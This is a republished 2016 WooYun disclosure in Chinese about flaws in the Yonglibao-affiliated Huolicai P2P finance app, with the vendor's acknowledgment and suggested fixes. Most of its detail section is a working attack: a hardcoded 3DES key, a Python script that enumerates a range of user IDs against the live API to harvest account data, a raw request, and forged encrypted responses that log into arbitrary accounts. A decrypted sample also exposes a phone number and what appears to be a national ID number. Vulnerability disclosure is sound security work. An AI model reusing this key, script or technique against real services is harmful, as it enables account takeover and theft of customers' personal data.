P2P金融安全之永利宝旗下某处涉及缺陷打包

admin 2017年4月3日21:59:31评论489 views字数 214阅读0分42秒阅读模式
摘要

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2016-188850

漏洞标题: P2P金融安全之永利宝旗下某处涉及缺陷打包

相关厂商: yonglibao.com

漏洞作者: Zhe

提交时间: 2016-03-27 21:12

公开时间: 2016-05-12 11:57

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

简要描述:

详细说明:

http://android.myapp.com/myapp/detail.htm?apkName=com.huolicai.android

下载火理财APP

http://huo.yonglibao.com/

经分析。此APP用的密钥算法,跟永利宝一致,可直接用于本APP数据的加解密。

如何得到密钥跟算法

祥见 WooYun: P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

跟之前的永利宝毛病一样

1.任意用户登陆/支付密码重置,两种方式,直接解密/日志打印泄露

起因都是因为验证码返回客户端

举例说明

13103566051测试

日志打印出验证码

P2P金融安全之永利宝旗下某处涉及缺陷打包

加解密脚本,解密出返回体内容

P2P金融安全之永利宝旗下某处涉及缺陷打包

输入验证码后跳转至设置密码页面

P2P金融安全之永利宝旗下某处涉及缺陷打包

设置新密码即可

登陆

P2P金融安全之永利宝旗下某处涉及缺陷打包

2.接口越权查询(数据都基本都打码了,只剩名字跟)

P2P金融安全之永利宝旗下某处涉及缺陷打包

获取用户信息

code 区域
POST http://huo.yonglibao.com/V2/User/setting HTTP/1.1
X-Wap-Proxy-Cookie: none
Cookie: CHANNEL=null;APP_VERSION=android_V2.3.2;TERMINAL=android_41A3945A92BD7B1D41B5AE511F7B3835%7C000000000000000;APP_TIME=1458861888009;BDUSS=;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; Google Nexus 4 - 4.1.1 - API 16 - 768x1280_1 Build/JRO03S)
Host: huo.yonglibao.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 107

i=eb6nlXk8cpc2TjXk7%2F4XZyoohgd8bkTft3MAj4bWOIxzUSR6JzaIXN3cy7pkaj9IHuqt8zmubfDF%0AvZDdIXMFhBlT3QpBacE3%0A&

利用脚本遍历uid后的结果

P2P金融安全之永利宝旗下某处涉及缺陷打包

3.任意用户登陆

登陆的数据包

P2P金融安全之永利宝旗下某处涉及缺陷打包

解密返回体内容

code 区域
XTxpp6XhYopXJyoPaCnWHw8hfmAcoFSQPgzkKF9GeEuMUE1kHIm5JWlD9u61LA6wh+CcDufbI4iiDFatkuGscf7QJXZsSTOUhGD/oHIxvZaIO3wK1nZ8KLCtSLl7NJvOGu8UXUY210b6dVVgGrOZSWuDjgdlOaLB+xxJ+thueH570UlufnDHk/kQnootA3wdMIP0sX5UC2dKv9HRxww7mg==

解密后

code 区域
{"s":1000,"r":{"i":"1183890","a":"13103566051","p":"13103566051","e":"140524197209098047","r":"/u6b66/u79c0/u4e91","v":"1","n":"13103566051","t":"1458773137"}}

剔除干扰元素,只留下i的数值跟t,例如,i也改成1180000

code 区域
{"s":1000,"r":{"i":"1180000","a":"1","p":"1","e":"1","r":"1","v":"1","n":"1","t":"1458773137"}}

加密后

code 区域
XTxpp6XhYopXJyoPaCnWH+y1kIgGnpb+BvoqZTnsQcmhzJ20zLGCENzq/J64L44zUIR7hVooiP+4A4Dza3rY3NkgsFJ7XHd8+IWox5CcEhswg/SxflQLZ0q/0dHHDDua

替换我们的返回体。

即可登陆uid=1180000的账户

P2P金融安全之永利宝旗下某处涉及缺陷打包

查看各类信息

漏洞证明:

附上脚本

code 区域
import pyDes
import requests
import base64
import urllib

key="8daluqp9xm2kw6zs1hta0000"


def DES3encrypt(param):
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
d = obj.encrypt(param)
result=base64.b64encode(d)
result=urllib.quote_plus(result)
return result
def DES3decrypt(param):
#param=urllib.unquote_plus(param)
param=base64.b64decode(param)
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
result = obj.decrypt(param)
return result


def send (payload):
headers = {'User-Agent': 'Yonglibao_from_A',"Content-Type":" application/x-www-form-urlencoded; charset=UTF-8"}
data="i="+payload+"&"
r = requests.post("http://huo.yonglibao.com/V2/User/setting", data=data,headers=headers)
result=DES3decrypt(r.text)
return result


def start():
fp=open("2.txt","w+")
#fp2=open("phone.txt","r")
#for i in set(fp2.readlines()):
for i in range(1180000,1181000):
userinfo=""
param='''{"u":"41A3945A92BD7B1D41B5AE511F7B3835|000000000000000","i":'''+str(i)+'''}'''
#print param
payload=DES3encrypt(param)
userinfo=send(payload)
print userinfo
fp.write("1")
fp.write("/n")
fp.close()

param='''{"s":1000,"r":{"i":"1180000","a":"1","p":"1","e":"1","r":"1","v":"1","n":"1","t":"1458773137"}}'''
print DES3encrypt(param)
start()

跟永利宝差不多,只剩换了请求模板

修复方案:

1.权限控制

2.取消验证码回显

版权声明:转载请注明来源 Zhe@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-28 11:57

厂商回复:

感谢对我们的关注,马上安排工程师修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin